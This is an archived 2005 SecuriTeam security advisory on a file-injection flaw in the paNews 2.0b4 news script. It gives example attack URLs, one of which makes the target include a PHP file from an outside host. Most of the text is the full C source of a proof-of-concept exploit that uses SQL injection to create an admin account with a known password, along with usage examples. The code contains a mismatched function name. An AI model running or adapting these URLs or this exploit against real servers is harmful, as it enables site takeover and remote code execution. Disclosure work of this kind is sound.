

[UNIX] File Injection in paNews

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-03/0026.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 03/09/05

To: list@securiteam.com

Date: 9 Mar 2005 13:28:45 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

File Injection in paNews

SUMMARY

" <<http://www.phparena.net/panews.php>> paNews is a news management script to use on your site. Users can use paCode, special code designed to allow the adding of images and font changes in the posts without allowing users to use HTML to post harmful things such as Java scripts and applets. It has several other features making adding entries and controlling it easily."

Vulnerability in administrating code of paNews allows to inject malicious php files to be run on a vulnerable server.

DETAILS

Vulnerable Systems:

* paNews version 2.0b4

PHP file injection works only with following settings:

1. register_globals=On
2. folder "includes" is writable

Example One:

[http://victim/panews/includes/admin_setup.php?access\[\]=admins&do=updatesets&form\[comments\]=\\$nst&form\[autoa](http://victim/panews/includes/admin_setup.php?access[]=admins&do=updatesets&form[comments]=$nst&form[autoa)

Securiteam: [UNIX] File Injection in paNews

Then: <http://victim/panews/includes/config.php?nst=http://your/file.php>

Example Two:

[http://victim/panews/includes/admin_setup.php?access\[\]=admins&do=updatesets&form\[comments\]=\\$nst&form\[autoa](http://victim/panews/includes/admin_setup.php?access[]=admins&do=updatesets&form[comments]=$nst&form[autoa)

Then: <http://victim/panews/includes/config.php?nst=id>

Proof of Concept:

Silentium had written another exploit for this vulnerability, The POST + SWL injection to add an admin user on system.

```
/******  
* paNews v2.0b4 *  
* *  
* silePNEWSexpl *  
* This exploit utilize SQL injection for create *  
* a new user with admin privileges on paNews *  
* software system. *  
* References: *  
* packetstormsecurity.org/0503-exploits/panews.txt *  
* *  
* coded by: Silentium of Anacron Group Italy *  
* date: 04/03/2005 *  
* e-mail: anacrongroupitaly[at]autistici[dot]org *  
* my_home: www.autistici.org/anacron-group-italy *  
* this tool is developed under GPL license *  
* no(c) .. copyleft *  
*****/
```

```
#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
#include <sys/types.h>  
#include <sys/socket.h>  
#include <netinet/in.h>  
#include <netdb.h>  
  
#define PORT 80 // port of the web server  
  
void info(void);  
void sendxpl(int sock, char *argv[]);  
void errsock(void);  
void errgeth(void);  
void errconn(void);  
  
int main(int argc, char *argv[]){  
  
int sock, sockconn;  
struct sockaddr_in addr;  
struct hostent *hp;
```

Securiteam: [UNIX] File Injection in paNews

```
if(argc!=4)
    info();

if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
    errssock();

system("clear");
printf("[*] Creating socket [OK]\n");

if((hp = gethostbyname(argv[1])) == NULL)
    errgeth();

printf("[*] Resolving victim host [OK]\n");

memset(&addr,0,sizeof(addr));
memcpy((char *)&addr.sin_addr,hp->h_addr,hp->h_length);
addr.sin_family = AF_INET;
addr.sin_port = htons(PORT);

sockconn = connect(sock,(struct sockaddr *)&addr,sizeof(addr));
if(sockconn < 0)
    errssock();

printf("[*] Connecting at victim host [OK]\n");

sendxpl(sock, argv);

printf("[*] Now check on\n"
       "  http://%s%s\n\n"
       "  your username: %s\n"
       "  with password: anacron\n\n",argv[1],argv[2],argv[3]);

shutdown(sock, 2);
close(sock);

return(0);

}

void info(void){

system("clear");
printf("#####\n"
       "# paNews v2.0b4 exploit #\n"
       "#####\n"
       "# this exploit create a new user admin #\n"
       "# on paNews software system. #\n"
       "# exploit coded by Silentium #\n"
       "# Anacron Group Italy #\n"
       "# www.autistici.org/anacron-group-italy #\n"
       "#####\n\n");
```

Securiteam: [UNIX] File Injection in paNews

```
"[usage]\n\n"  
" silePNEWSxpl <victim> <path_paNews> <username>\n\n"  
"[example]\n\n"  
" silePNEWSxpl www.victim.com /panews/index.php silentium\n\n");  
exit(1);  
  
}  
  
void sendxpl(int sock, char *argv[]){  
  
FILE *out;  
int size = 264;  
out = fdopen(sock,"a");  
setbuf(out,NULL);  
  
size+=(strlen(argv[3]) * 2);  
  
fprintf(out,"POST %s HTTP/1.0\n"  
"Connection: Keep-Alive\n"  
"Pragma: no-cache\n"  
"Cache-control: no-cache\n"  
"Accept: text/html, image/jpeg, image/png, text/*, image/*,  
*/*\n"  
"Accept-Encoding: x-gzip, x-deflate, gzip, deflate,  
identity\n"  
"Accept-Charset: iso-8859-1, utf-8;q=0.5, *;q=0.5\n"  
"Accept-Language: en\n"  
"Host: %s\n"  
"Referer: http://%s%s\n"  
"Content-Type: application/x-www-form-urlencoded\n"  
"Content-Length: %d\n"  
"action%%3Dlogin%%26username%%3D%%s%%26password%%3Danacron%%26"  
"mysql_prefix%%3Dpanews_auth%%60%%20VALUES%%20(%%22%%22,%%22"  
"%s%%22,%%22f63140655b379e65f6cd87fa3c3da631%%22,%%22"  
  
"hackit%%22,%%22admins%%7Ccat%%7Ccomment%%7Cnewsadd%%7Cnewsedit"  
"%%%7Cprefset%%7Csetup%%22,%%22none%%22,%%22127.0.0.1%%22"  
  
",1,1)%%00\n\n",argv[2],argv[1],argv[1],argv[2],size,argv[3],argv[3]);  
  
printf("[*] Sending exploit [OK]\n\n");  
  
}  
  
void errsock(void){  
  
system("clear");  
printf("[x] Creating socket [FAILED]\n\n");  
exit(1);  
  
}
```

Securiteam: [UNIX] File Injection in paNews

```
void errgeth(void){

printf("[x] Resolving victim host [FAILED]\n\n");
exit(1);

}

void errconn(void){

printf("[x] Connecting at victim host [FAILED]\n\n");
exit(1);

}
//EoF
```

The original code can be found at:

http://www.autistici.org/anacron-group-italy/file/source/silePNEWSxpl_v2.0b4.c
http://www.autistici.org/anacron-group-italy/file/source/silePNEWSxpl_v2.0b4.c

ADDITIONAL INFORMATION

The information has been provided by <mailto:tjomka@navigator.lv> tjomka.
The original article can be found at: <nst.e-nex.com> nst.e-nex.com

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.